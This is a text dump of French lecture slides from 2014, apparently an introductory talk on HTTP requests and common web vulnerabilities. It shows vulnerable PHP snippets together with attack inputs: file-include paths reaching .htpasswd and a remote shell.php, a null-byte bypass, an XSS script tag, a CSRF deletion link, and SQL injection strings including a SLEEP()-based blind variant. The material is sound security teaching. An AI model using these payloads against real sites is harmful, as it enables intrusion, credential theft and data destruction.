Maxime Arthaud net7 Jeudi 03 avril 2014
Syllabus Introduction Exemple de Requête Transmission de données 1 Introduction Exemple de Requête Transmission de données 2 3
Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol
Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome)
Exemple de Requête Transmission de données HTTP = HyperText Transfer Protocol Le protocole parlé par votre navigateur web (Firefox, Chrome) Version 1.1 (2.0 en cours)
Exemple de Requête Transmission de données Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: http://example.com/ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko /20100101 Firefox/28.0
Exemple de Requête Transmission de données Requête HTTP GET /page.html HTTP/1.1 Host: example.com Referer: http://example.com/ User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko /20100101 Firefox/28.0 Réponse du serveur HTTP/1.1 200 OK Date: Fri, 31 Dec 1999 23:59:59 GMT Server: Apache/0.8.4 Content-Type: text/html Content-Length: 59 Expires: Sat, 01 Jan 2000 00:59:59 GMT <title>exemple</title>
Exemple de Requête Transmission de données Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com
Exemple de Requête Transmission de données Méthode GET GET /page.html?name=value HTTP/1.1 Host: example.com Méthode POST POST /page.html HTTP/1.1 Host: example.com Content-Length: 32 username=arthaum&password=secret
Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web
Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2
Exemple de Requête Transmission de données Informations stockées sur votre navigateur, envoyées aux sites web De la forme key1=val1&key2=val2 Outils Firebug Tamper Data Web Developer
Syllabus Introduction Include Null byte XSS CSRF Les sessions 1 Introduction 2 Include Null byte XSS CSRF Les sessions 3
Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]);?> </body> </html>
Include Null byte XSS CSRF Les sessions La faille include <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]);?> </body> </html> Idées d attaque /index.php?page=index.php /index.php?page=../admin/.htpasswd /index.php?page=http ://monsite.com/shell.php
Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]..php );?> </body> </html>
Include Null byte XSS CSRF Les sessions La faille null byte <!DOCTYPE html> <html> <head><title>titre</title></head> <body> <?php include( pages/. $_GET[ page ]..php );?> </body> </html> Idée d attaque /index.php?page=index.php%00
Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[ message ];?>
Include Null byte XSS CSRF Les sessions XSS = Cross-Site Scripting <?php echo $_GET[ message ];?> Idée d attaque /index.php?message=<script >alert( coucou ) </script >
Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php?id=1
Include Null byte XSS CSRF Les sessions CSRF = Cross-Site Request Forgery /deleteuser.php?id=1 Idées d attaque Forcer un administrateur à cliquer sur le lien Plus vicieux : mettre ce lien comme image de profil/signature
Include Null byte XSS CSRF Les sessions Le danger des sessions ID de session stocké dans les cookies
Explication Blind SQL Injection Outils Syllabus 1 Introduction 2 3 Explication Blind SQL Injection Outils
Explication Blind SQL Injection Outils Explication $con = new PDO( mysql:dbname=user_arthaum;host=mysql.bde. n7, arthaum, secret ); \$req = $con->query("select * FROM users WHERE username= ". $_POST[ username ]. " AND password= ". $_POST[ password ]. " ");
Explication Blind SQL Injection Outils Explication $con = new PDO( mysql:dbname=user_arthaum;host=mysql.bde. n7, arthaum, secret ); \$req = $con->query("select * FROM users WHERE username= ". $_POST[ username ]. " AND password= ". $_POST[ password ]. " "); Idée d attaque username=admin OR 1=1#
Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche)
Explication Blind SQL Injection Outils Blind SQL Injection Pas de retour (page blanche) Idée d attaque Utiliser SLEEP()
Explication Blind SQL Injection Outils Outils sqlmap